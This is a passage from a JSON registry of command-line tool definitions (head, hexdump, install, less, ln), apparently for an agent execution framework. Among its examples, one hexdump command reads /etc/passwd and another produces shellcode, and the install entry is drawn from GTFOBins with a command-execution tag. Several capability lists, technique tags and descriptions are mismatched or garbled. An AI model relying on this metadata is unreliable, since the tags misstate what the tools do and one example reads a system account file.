      "xxd",
      "od"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# head — Output the first part of files\n\n## Overview\n\n`head` is a command-line utility for output the first part of files.\n\n## Usage\n\n```\nhead -c {bytes} -n {lines} -q {quiet} -v {verbose} -z {zero-terminated}\n```\n",
    "_source": "head.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.head",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Output the first part of files",
    "examples": [
      {
        "description": "Basic usage with bytes",
        "command": "head ${bytes}"
      },
      {
        "description": "Display help message",
        "command": "head --help"
      }
    ],
    "execution": {
      "template": "head -c {bytes} -n {lines} -q {quiet} -v {verbose} -z {zero-terminated}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "id": "system-file-head",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "head",
    "namespace": "system:file:head",
    "parameters": [
      {
        "name": "bytes",
        "template_key": "bytes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the first NUM bytes of each file; with the leading '-', print all but the last NUM bytes of each file",
        "aliases": [
          "-c",
          "--bytes"
        ],
        "flag": "-c"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "lines",
        "template_key": "lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the first NUM lines instead of the first 10; with the leading '-', print all but the last NUM lines of each file",
        "aliases": [
          "-n",
          "--lines"
        ],
        "flag": "-n"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "never print headers giving file names",
        "aliases": [
          "-q",
          "--quiet",
          "--silent"
        ],
        "flag": "-q"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "always print headers giving file names",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "zero-terminated",
        "template_key": "zero-terminated",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "line delimiter is NUL, not newline --help display this help and exit --version output version information and exit",
        "aliases": [
          "-z",
          "--zero-terminated"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-tail"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "execution",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# hexdump — Display file contents in hexadecimal\n\n## Overview\n\n`hexdump` is a command-line utility for display file contents in hexadecimal.\n\n## Usage\n\n```\nhexdump -b {one-byte-octal} -X {one-byte-hex} -c {one-byte-char} -C {canonical} -d {two-bytes-decimal}\n```\n",
    "_source": "hexdump.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.hexdump",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Display file contents in hexadecimal",
    "examples": [
      {
        "description": "Basic usage with one-byte-octal",
        "command": "hexdump ${one-byte-octal}"
      },
      {
        "description": "Display help message",
        "command": "hexdump --help"
      },
      {
        "description": "side-by-side hexadecimal and ASCII view of the first 128 bytes of a file",
        "command": "hexdump -C -n128 /etc/passwd"
      },
      {
        "description": "Convert a binary file to C Array",
        "command": "hexdump -v -e '16/1 \"0x%02X, \"' -e '\"\\n\"' file.bin > hexarray.h"
      },
      {
        "description": "Convert a binary file to Shell code",
        "command": "hexdump -v -e '\"\\\\\"\"x\" 1/1 \"%02x\" \"\"'"
      },
      {
        "description": "Generate random MAC address",
        "command": "hexdump -n6 -e '/1 \":%02X\"' /dev/random|sed s/^://g"
      }
    ],
    "execution": {
      "template": "hexdump -b {one-byte-octal} -X {one-byte-hex} -c {one-byte-char} -C {canonical} -d {two-bytes-decimal}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-hexdump",
    "install": [
      {
        "method": "apt",
        "package_name": "bsdmainutils",
        "commands": [
          "apt-get install -y bsdmainutils"
        ]
      }
    ],
    "name": "hexdump",
    "namespace": "system:file:hexdump",
    "parameters": [
      {
        "name": "one-byte-octal",
        "template_key": "one-byte-octal",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "one-byte octal display",
        "aliases": [
          "-b",
          "--one-byte-octal"
        ],
        "flag": "-b"
      },
      {
        "name": "one-byte-hex",
        "template_key": "one-byte-hex",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "one-byte hexadecimal display",
        "aliases": [
          "-X",
          "--one-byte-hex"
        ],
        "flag": "-X"
      },
      {
        "name": "one-byte-char",
        "template_key": "one-byte-char",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "one-byte character display",
        "aliases": [
          "-c",
          "--one-byte-char"
        ],
        "flag": "-c"
      },
      {
        "name": "canonical",
        "template_key": "canonical",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "canonical hex+ASCII display",
        "aliases": [
          "-C",
          "--canonical"
        ],
        "flag": "-C"
      },
      {
        "name": "two-bytes-decimal",
        "template_key": "two-bytes-decimal",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "two-byte decimal display",
        "aliases": [
          "-d",
          "--two-bytes-decimal"
        ],
        "flag": "-d"
      },
      {
        "name": "two-bytes-octal",
        "template_key": "two-bytes-octal",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "two-byte octal display",
        "aliases": [
          "-o",
          "--two-bytes-octal"
        ],
        "flag": "-o"
      },
      {
        "name": "two-bytes-hex",
        "template_key": "two-bytes-hex",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "two-byte hexadecimal display",
        "aliases": [
          "-x",
          "--two-bytes-hex"
        ],
        "flag": "-x"
      },
      {
        "name": "color",
        "template_key": "color",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "interpret color formatting specifiers",
        "aliases": [
          "-L",
          "--color"
        ],
        "flag": "-L"
      },
      {
        "name": "format",
        "template_key": "format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "format string to be used for displaying data",
        "aliases": [
          "-e",
          "--format <format>"
        ],
        "flag": "-e"
      },
      {
        "name": "format-file",
        "template_key": "format-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-f",
          "--format-file <file>"
        ],
        "flag": "-f"
      },
      {
        "name": "length",
        "template_key": "length",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "interpret only length bytes of input",
        "aliases": [
          "-n",
          "--length <length>"
        ],
        "flag": "-n"
      },
      {
        "name": "skip",
        "template_key": "skip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "skip offset bytes from the beginning",
        "aliases": [
          "-s",
          "--skip <offset>"
        ],
        "flag": "-s"
      },
      {
        "name": "no-squeezing",
        "template_key": "no-squeezing",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output identical lines",
        "aliases": [
          "-v",
          "--no-squeezing"
        ],
        "flag": "-v"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display version",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-od",
      "system-file-xxd"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "credential-access",
      "execution",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "install.md",
    "allowed-tools": [
      "install",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Copy files and set attributes, can read and write files and execute commands.",
    "examples": [
      {
        "description": "Read a file via install",
        "command": "install -m 755 /path/to/input /path/to/output"
      },
      {
        "description": "Execute command via install",
        "command": "install -m 755 /path/to/input /path/to/output"
      }
    ],
    "execution": {
      "template": "install -m 755 /path/to/input /path/to/output",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-file-install",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "install",
    "namespace": "system:file:install",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/install/"
      }
    ],
    "related_tools": [
      "cp",
      "mv"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# less — View file contents page by page\n\n## Overview\n\n`less` is a command-line utility for view file contents page by page.\n\n## Usage\n\n```\nless -? {help} -a {search-skip-screen} -A {search-skip-screen} -b {buffers} -B {auto-buffers}\n```\n",
    "_source": "less.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.less",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "View file contents page by page",
    "examples": [
      {
        "description": "Basic usage with help",
        "command": "less ${help}"
      },
      {
        "description": "Display help message",
        "command": "less --help"
      }
    ],
    "execution": {
      "template": "less -? {help} -a {search-skip-screen} -A {search-skip-screen} -b {buffers} -B {auto-buffers}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "id": "system-file-less",
    "install": [
      {
        "method": "apt",
        "package_name": "less",
        "commands": [
          "apt-get install -y less"
        ]
      }
    ],
    "name": "less",
    "namespace": "system:file:less",
    "parameters": [
      {
        "name": "HILITE-SEARCH",
        "template_key": "hilite-search",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't highlight any matches for searches",
        "aliases": [
          "-G",
          "--HILITE-SEARCH"
        ],
        "flag": "-G"
      },
      {
        "name": "HILITE-UNREAD",
        "template_key": "hilite-unread",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Highlight first new line after any forward movement",
        "aliases": [
          "-W",
          "--HILITE-UNREAD"
        ],
        "flag": "-W"
      },
      {
        "name": "IGNORE-CASE",
        "template_key": "ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore case in all searches",
        "aliases": [
          "-I",
          "--IGNORE-CASE"
        ],
        "flag": "-I"
      },
      {
        "name": "LINE-NUMBERS",
        "template_key": "line-numbers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display line number at start of each line",
        "aliases": [
          "-N",
          "--LINE-NUMBERS"
        ],
        "flag": "-N"
      },
      {
        "name": "LOG-FILE",
        "template_key": "log-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Copy to log file (unconditionally overwrite)",
        "aliases": [
          "-O",
          "--LOG-FILE"
        ],
        "flag": "-O"
      },
      {
        "name": "SEARCH-SKIP-SCREEN",
        "template_key": "search-skip-screen",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Search starts just after target line",
        "aliases": [
          "-A",
          "--SEARCH-SKIP-SCREEN"
        ],
        "flag": "-A"
      },
      {
        "name": "auto-buffers",
        "template_key": "auto-buffers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't automatically allocate buffers for pipes",
        "aliases": [
          "-B",
          "--auto-buffers"
        ],
        "flag": "-B"
      },
      {
        "name": "buffers",
        "template_key": "buffers",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Number of buffers",
        "aliases": [
          "-b",
          "--buffers"
        ],
        "flag": "-b"
      },
      {
        "name": "chop-long-lines",
        "template_key": "chop-long-lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Chop (truncate) long lines rather than wrapping",
        "aliases": [
          "-S",
          "--chop-long-lines"
        ],
        "flag": "-S"
      },
      {
        "name": "clear-screen",
        "template_key": "clear-screen",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Repaint by clearing rather than scrolling",
        "aliases": [
          "-c",
          "--clear-screen"
        ],
        "flag": "-c"
      },
      {
        "name": "color",
        "template_key": "color",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set screen colors",
        "aliases": [
          "-D",
          "--color"
        ],
        "flag": "-D"
      },
      {
        "name": "dumb",
        "template_key": "dumb",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Dumb terminal",
        "aliases": [
          "-d",
          "--dumb"
        ],
        "flag": "-d"
      },
      {
        "name": "exit-follow-on-close",
        "template_key": "exit-follow-on-close",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Exit F command on a pipe when writer closes pipe. --file-size Automatically determine the size of the input file. --follow-name The F command changes files if the input file is renamed. --header=[L[,C[,N]]] Use L lines (starting at line N) and C columns as headers. --incsearch Search file as each pattern character is typed in. --intr=[C] Use C instead of ^X to interrupt a read. --lesskey-context=text Use lesskey source file contents. --lesskey-src=file Use a lesskey source file. --line-num-width=[N] Set the width of the -N line number field to N characters. --match-shift=[N] Show at least N characters to the left of a search match. --modelines=[N] Read N lines from the input file and look for vim modelines. --mouse Enable mouse input. --no-keypad Don't send termcap keypad init/deinit strings. --no-histdups Remove duplicates from command history. --no-number-headers Don't give line numbers to header lines. --no-search-header-lines Searches do not include header lines. --no-search-header-columns Searches do not include header columns. --no-search-headers Searches do not include header lines or columns. --no-vbell Disable the terminal's visual bell. --redraw-on-quit Redraw final screen when quitting. --rscroll=[C] Set the character used to mark truncated lines. --save-marks Retain marks across invocations of less. --search-options=[EFKNRW-] Set default options for every search. --show-preproc-errors Display a message if preprocessor exits with an error status. --proc-backspace Process backspaces for bold/underline. --PROC-BACKSPACE Treat backspaces as control characters. --proc-return Delete carriage returns before newline. --PROC-RETURN Treat carriage returns as control characters. --proc-tab Expand tabs to spaces. --PROC-TAB Treat tabs as control characters. --status-col-width=[N] Set the width of the -J status column to N characters. --status-line Highlight or color the entire line containing a mark. --use-backslash Subsequent options use backslash as escape char. --use-color Enables colored text. --wheel-lines=[N] Each click of the mouse wheel moves N lines. --wordwrap Wrap lines at spaces",
        "aliases": [
          "--exit-follow-on-close"
        ],
        "flag": "--exit-follow-on-close"
      },
      {
        "name": "file_size",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--file-size"
        ],
        "flag": "--file-size"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--prompt=[prompt]",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "follow_name",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--follow-name"
        ],
        "flag": "--follow-name"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Force open non-regular files",
        "aliases": [
          "-f",
          "--force"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display help (from command line)",
        "aliases": [
          "-?",
          "--help"
        ],
        "flag": "-?"
      },
      {
        "name": "hilite-search",
        "template_key": "hilite-search",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Highlight only last match for searches",
        "aliases": [
          "-g",
          "--hilite-search"
        ],
        "flag": "-g"
      },
      {
        "name": "hilite-unread",
        "template_key": "hilite-unread",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Highlight first new line after forward-screen",
        "aliases": [
          "-w",
          "--hilite-unread"
        ],
        "flag": "-w"
      },
      {
        "name": "ignore-case",
        "template_key": "ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore case in searches that do not contain uppercase",
        "aliases": [
          "-i",
          "--ignore-case"
        ],
        "flag": "-i"
      },
      {
        "name": "incsearch",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--incsearch"
        ],
        "flag": "--incsearch"
      },
      {
        "name": "intr",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--intr"
        ],
        "flag": "--intr"
      },
      {
        "name": "jump-target",
        "template_key": "jump-target",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Screen position of target lines",
        "aliases": [
          "-j",
          "--jump-target"
        ],
        "flag": "-j"
      },
      {
        "name": "lesskey-file",
        "template_key": "lesskey-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use a compiled lesskey file",
        "aliases": [
          "-k",
          "--lesskey-file"
        ],
        "flag": "-k"
      },
      {
        "name": "lesskey_context",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--lesskey-context"
        ],
        "flag": "--lesskey-context"
      },
      {
        "name": "lesskey_src",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--lesskey-src"
        ],
        "flag": "--lesskey-src"
      },
      {
        "name": "line-numbers",
        "template_key": "line-numbers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Suppress line numbers in prompts and messages",
        "aliases": [
          "-n",
          "--line-numbers"
        ],
        "flag": "-n"
      },
      {
        "name": "line_num_width",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--line-num-width"
        ],
        "flag": "--line-num-width"
      },
      {
        "name": "log-file",
        "template_key": "log-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Copy to log file (standard input only)",
        "aliases": [
          "-o",
          "--log-file"
        ],
        "flag": "-o"
      },
      {
        "name": "long-prompt",
        "template_key": "long-prompt",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set prompt style",
        "aliases": [
          "-m",
          "-M",
          "--long-prompt",
          "--LONG-PROMPT"
        ],
        "flag": "-m"
      },
      {
        "name": "match_shift",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--match-shift"
        ],
        "flag": "--match-shift"
      },
      {
        "name": "max-back-scroll",
        "template_key": "max-back-scroll",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Backward scroll limit",
        "aliases": [
          "-h",
          "--max-back-scroll"
        ],
        "flag": "-h"
      },
      {
        "name": "max-forw-scroll",
        "template_key": "max-forw-scroll",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Forward scroll limit",
        "aliases": [
          "-y",
          "--max-forw-scroll"
        ],
        "flag": "-y"
      },
      {
        "name": "modelines",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--modelines"
        ],
        "flag": "--modelines"
      },
      {
        "name": "no-init",
        "template_key": "no-init",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't use termcap init/deinit strings",
        "aliases": [
          "-X",
          "--no-init"
        ],
        "flag": "-X"
      },
      {
        "name": "no-lessopen",
        "template_key": "no-lessopen",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore the LESSOPEN environment variable",
        "aliases": [
          "-L",
          "--no-lessopen"
        ],
        "flag": "-L"
      },
      {
        "name": "no_histdups",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-histdups"
        ],
        "flag": "--no-histdups"
      },
      {
        "name": "no_keypad",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-keypad"
        ],
        "flag": "--no-keypad"
      },
      {
        "name": "no_number_headers",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-number-headers"
        ],
        "flag": "--no-number-headers"
      },
      {
        "name": "no_search_header_columns",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-search-header-columns"
        ],
        "flag": "--no-search-header-columns"
      },
      {
        "name": "no_search_header_lines",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-search-header-lines"
        ],
        "flag": "--no-search-header-lines"
      },
      {
        "name": "no_search_headers",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-search-headers"
        ],
        "flag": "--no-search-headers"
      },
      {
        "name": "no_vbell",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-vbell"
        ],
        "flag": "--no-vbell"
      },
      {
        "name": "pattern",
        "template_key": "pattern",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Start at pattern (from command line)",
        "aliases": [
          "-p",
          "--pattern"
        ],
        "flag": "-p"
      },
      {
        "name": "proc_backspace",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--proc-backspace"
        ],
        "flag": "--proc-backspace"
      },
      {
        "name": "proc_return",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--proc-return"
        ],
        "flag": "--proc-return"
      },
      {
        "name": "proc_tab",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--proc-tab"
        ],
        "flag": "--proc-tab"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Quiet the terminal bell",
        "aliases": [
          "-q",
          "-Q",
          "--quiet",
          "--QUIET",
          "--silent",
          "--SILENT"
        ],
        "flag": "-q"
      },
      {
        "name": "quit-at-eof",
        "template_key": "quit-at-eof",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Quit at end of file",
        "aliases": [
          "-e",
          "-E",
          "--quit-at-eof",
          "--QUIT-AT-EOF"
        ],
        "flag": "-e"
      },
      {
        "name": "quit-if-one-screen",
        "template_key": "quit-if-one-screen",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Quit if entire file fits on first screen",
        "aliases": [
          "-F",
          "--quit-if-one-screen"
        ],
        "flag": "-F"
      },
      {
        "name": "quit-on-intr",
        "template_key": "quit-on-intr",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Exit less in response to ctrl-C",
        "aliases": [
          "-K",
          "--quit-on-intr"
        ],
        "flag": "-K"
      },
      {
        "name": "quotes",
        "template_key": "quotes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set shell quote characters",
        "aliases": [
          "--quotes"
        ],
        "flag": "--quotes"
      },
      {
        "name": "raw-control-chars",
        "template_key": "raw-control-chars",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output \"raw\" control characters",
        "aliases": [
          "-r",
          "-R",
          "--raw-control-chars",
          "--RAW-CONTROL-CHARS"
        ],
        "flag": "-r"
      },
      {
        "name": "redraw_on_quit",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--redraw-on-quit"
        ],
        "flag": "--redraw-on-quit"
      },
      {
        "name": "rscroll",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--rscroll"
        ],
        "flag": "--rscroll"
      },
      {
        "name": "save_marks",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--save-marks"
        ],
        "flag": "--save-marks"
      },
      {
        "name": "search-skip-screen",
        "template_key": "search-skip-screen",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Search skips current screen",
        "aliases": [
          "-a",
          "--search-skip-screen"
        ],
        "flag": "-a"
      },
      {
        "name": "search_options",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--search-options"
        ],
        "flag": "--search-options"
      },
      {
        "name": "shift",
        "template_key": "shift",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Set horizontal scroll amount (0 = one half screen width)",
        "aliases": [
          "--shift"
        ],
        "flag": "--shift"
      },
      {
        "name": "show_preproc_errors",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--show-preproc-errors"
        ],
        "flag": "--show-preproc-errors"
      },
      {
        "name": "squeeze-blank-lines",
        "template_key": "squeeze-blank-lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Squeeze multiple blank lines",
        "aliases": [
          "-s",
          "--squeeze-blank-lines"
        ],
        "flag": "-s"
      },
      {
        "name": "status-column",
        "template_key": "status-column",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display a status column at left edge of screen",
        "aliases": [
          "-J",
          "--status-column"
        ],
        "flag": "-J"
      },
      {
        "name": "status_col_width",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--status-col-width"
        ],
        "flag": "--status-col-width"
      },
      {
        "name": "status_line",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--status-line"
        ],
        "flag": "--status-line"
      },
      {
        "name": "tabs",
        "template_key": "tabs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set tab stops",
        "aliases": [
          "-x",
          "--tabs"
        ],
        "flag": "-x"
      },
      {
        "name": "tag",
        "template_key": "tag",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Find a tag",
        "aliases": [
          "-t",
          "--tag"
        ],
        "flag": "-t"
      },
      {
        "name": "tag-file",
        "template_key": "tag-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use an alternate tags file",
        "aliases": [
          "-T",
          "--tag-file"
        ],
        "flag": "-T"
      },
      {
        "name": "tilde",
        "template_key": "tilde",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't display tildes after end of file",
        "aliases": [
          "--tilde"
        ],
        "flag": "--tilde"
      },
      {
        "name": "underline-special",
        "template_key": "underline-special",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Change handling of backspaces, tabs and carriage returns",
        "aliases": [
          "-u",
          "-U",
          "--underline-special",
          "--UNDERLINE-SPECIAL"
        ],
        "flag": "-u"
      },
      {
        "name": "use_backslash",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--use-backslash"
        ],
        "flag": "--use-backslash"
      },
      {
        "name": "use_color",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--use-color"
        ],
        "flag": "--use-color"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Display the version number of \"less\"",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "wheel_lines",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--wheel-lines"
        ],
        "flag": "--wheel-lines"
      },
      {
        "name": "window",
        "template_key": "window",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Set size of window",
        "aliases": [
          "-z",
          "--window"
        ],
        "flag": "-z"
      },
      {
        "name": "wordwrap",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--wordwrap"
        ],
        "flag": "--wordwrap"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "discovery",
      "enumeration",
      "execution",
      "persistence",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# ln — Create hard and symbolic links\n\n## Overview\n\n`ln` is a command-line utility for create hard and symbolic links.\n\n## Usage\n\n```\nln --backup {backup} -b {flag-b} -d {directory} -f {force} -i {interactive}\n```\n",
    "_source": "ln.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.ln",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Create hard and symbolic links",
    "examples": [
      {
        "description": "Basic usage with backup",
        "command": "ln ${backup}"
      },
      {
        "description": "Display help message",
        "command": "ln --help"
      }
    ],
    "execution": {
      "template": "ln --backup {backup} -b {flag-b} -d {directory} -f {force} -i {interactive}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-ln",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "ln",
    "namespace": "system:file:ln",
    "parameters": [
      {
        "name": "backup",
        "template_key": "backup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make a backup of each existing destination file",
